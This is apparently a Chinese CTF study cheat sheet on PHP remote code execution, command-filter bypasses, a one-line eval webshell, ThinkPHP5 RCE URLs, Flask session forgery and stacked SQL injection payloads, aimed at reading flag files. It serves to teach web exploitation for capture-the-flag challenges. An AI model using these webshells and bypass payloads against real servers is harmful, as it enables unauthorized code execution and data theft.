echo '<pre>';
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>
一句话木马:
上传一句话木马到目标服务器,<?php eval _REQUEST("cmd")?>,在确认目标服务器已经执行了代码的情况下,在浏览器中的木马页面传入参数:get post都可以,例如:?cmd=phpinfo(),或者?cmd=system('ls');,注意系统函数后记得加分号。
查找flag
system(find / -name flag*)
12、linux过滤
shell中执行命令时可能会过滤一些关键字,比如空格,比如cat等等
1.过滤空格
$IFS # $IFS在Linux中默认指定space,tab,换行
${IFS} # {}用于扩展和重复命令、生成文件列表以及进行字符串匹配等操作
${IFS}$9
$IFS$1
{,}
%09 # tab
%20 # space
<
<>
2.过滤关键词
2.1 base64编码绕过
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
这里边的|是管道符。
Hex编码绕过:
echo "636174202f666c6167"|xxd -r -p|bash # 将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") # 执行cat /flag
Oct编码绕过:
$(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") #执行cat index.php
$(printf "\154\163") #执行ls
2.2 内联绕过
`命令`或者$(命令) # 内联绕过,反引号内的运行结果作为执行命令的关键字
'/'用printf及$()绕过:$(printf${IFS}"\57")
``在linux中使用反引号包围意为将内容当做命令执行
例如:/?ip=127.0.0.1;cat$IFS$1`ls`
2.3 通配符绕过
* ? [a-z] {a..z}等 # 通配符绕过
2.4 变量绕过
例如:a=ca;b=t;则 cat=$a$b # 特殊变量绕过
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2.5 引号绕过:
ca""t => cat
mo''re => more
2.6 反斜杠绕过:\ # 转义符过滤,注意不要在转义字母前加\,那样的话会被识别成转义符
ca\t => cat
mo\re => more
2.7 如果php在环境变量PATH中时:
cat `php -r "echo chr(102).chr(49).chr(97).chr(103);"`

13、RCE漏洞
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
eval代码执行
eval命令执行漏洞,eval() 函数把字符串按照 PHP 代码来计算。
例子:
eval($_REQUEST['a'])
a=system('ls')
相当于:<?php system('ls')?>
注意:
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
----通配符绕过
源码中过滤了很多东西,可以使用的字符:p ` ? / + < > =
通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
备注:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
----chr()绕过
对过滤掉的符号进行绕过。
chr(ascii) 函数从指定 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,十六进制值被定义为带前置 0x。
例如:chr(47)=" / "
php中的'ls':
scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
其他php常用函数
1.getcwd() 返回当前目录的路径
2.glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3.file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
4.htmlspecialchars(string)返回string中的除html标签以外的字符串
例题:
4层嵌套传参
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
1.中文“群”字需要编码
2.最里层变量名:"CTFshow-QQ群:"编码后为:"CTFshow-QQ%E7%BE%A4%3A"
3.cookie: CTFshow-QQ%E7%BE%A4%3A=a ,传入使变量CTFshow-QQ%E7%BE%A4%3A和变量a的值相等
4.post: b=a ,使变量b和变量a的值相等
5.get: ?c=b&c[6][0][7][5][8][0][9][4][4]=system('ls /'); ,使变量c和变量b的值相等同时,使变量c的值为system('ls /')
6.request: 可以接收get和post两种请求方式的参数,如果接受get,则执行system,接收post,也是system,因为b=a
过滤绕过方法
1.替代法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
2.使用转义符号
ca\t /fl\ag
cat fl''ag
3.拼接法
a=fl;b=ag;cat$IFS$a$b
4.使用空变量$*和$@,$x,${x}绕过
ca$*t flag
ca$@t flag
ca$5t flag
ca${5}t flag
5.反引号绕过
注释:反引号里的内容会当做命令执行,并返回执行结果的字符串
例如:ls的结果是flag
则cat `ls` 等同于 cat flag
6.编码绕过
Base64
echo 'cat' | base64
output:Y2F0Cg==
`echo 'Y2F0Cg==' | base64 -d` flag
output:flag{xxx}
8进制,16进制等
7.正则表达式绕过
cat ?la*
8.利用未初始化变量$u让绕过
9.回溯绕过
//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False
10. URL编码取反绕过
//就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过
//url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
获得取反后的url编码:(以phpinfo为例)
var_dump(urlencode(~'phpinfo'));
pyload:(~%8F%97%8F%96%91%99%90)(); (记得给url加括号)
显示phpinfo界面,此时可以查看disable_functions,禁用了哪些函数,再进行构造获取flag。
11.异或饶过
//异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
12.动态链接库—— LD_PRELOAD
ThinkPHP5-Rce
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞
影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30(不同版本payload不同,且5.13版本后还与debug模式有关)
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 #将执行phpinfo()
http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id #执行id命令(linux)
配置文件写入
14、session漏洞
-
session原理:
-
SESSION是一种机制,可以在服务器端跨文件暂时保存数据或传递数据,常用于购物车等方面。SESSION只在用户关闭浏览器之前有效。每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(当然,这个名称是可以更改的)。
-
浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。因此,这并不是XAMPP生成的,而是PHP自动创建的。
-
PHPSESSIONID的生产算法原理如下:
-
hash_func = md5 / sha1 #可由php.ini配置
-
当php.ini(Windows下PHP的配置文件)中的
session.auto_start = On
-
时,PHP会自动创建SESSION,改为:
session.auto_start = Off
-
PHP就不会自动创建SESSION了
-
利用漏洞:
在PHP中$_SESSION[]可以存储特定用户的Session信息。当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的SessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。
session_start(); //开启Session功能
session_id();//获取用户Session ID值,如需修改在括号中传值即可
利用Session变量存储信息:
$_SESSION["Session名称"]=变量或字符串信息;
1.代码演示:
//test1.php
<?php
session_start();
$_SESSION['name']="admin";
$_SESSION['password']=123456;
echo "所在文件:".$_SERVER["PHP_SELF"]."<br/>";
echo "用户名:{$_SESSION['name']} <br/>密码:{$_SESSION['password']}";
?>
//test2.php
<?php
session_start();
echo "所在文件:".$_SERVER["PHP_SELF"]."<br/>";
echo "用户名:{$_SESSION['name']} <br/>密码:{$_SESSION['password']}";
?>
2.bp修改sessionid
cookie:PHPSESSID=....
删去PHPSESSID后面的内容,变量将变为空,可以满足“用户输入(空)==$_SESSION['xxx']”
flask_session伪造
介绍:flask-session结构
Flask是一个用Python编写的Web应用程序框架
flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。flask框架作为python框架一般会运行app.py文件(该文件常常为flask项目结构中的主程序文件。)
flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。文件包含读取/proc/self/maps文件获取可读内容的内存映射地址。
(使用python脚本破解内容信息)
利用工具flask_session_cookie_manager伪造session
python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"
15、WAF绕过
利用php字符串的特性
我们在传参时在num前加入空格,这样本题的waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行

16、黑洞
> /dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”
Linux中的标准输入输出
0 是标准输入,一般是从键盘获得输入
1 是标准输出,一般是输出到屏幕了
2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
>为重定向符号
例如:
2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上
17、sql注入黑名单
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,
该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
题目:“Blacklist”
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);


单引号注入
先用 show语句查看一下
show databases; 获取数据库名
show tables; 获取表名
show columns from `table_name`; 获取列名
堆叠注入:
pyload1:-1';show databases;#'
pyload2: -1';show tables;#'
pyload3: -1';show columns from `FlagHere`;#'
得出结论:flag存放在当前数据库中FlagHere表的flag字段下
用 HANDLER语法可以绕过select限制
pyload:-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#'

浙公网安备 33010602011771号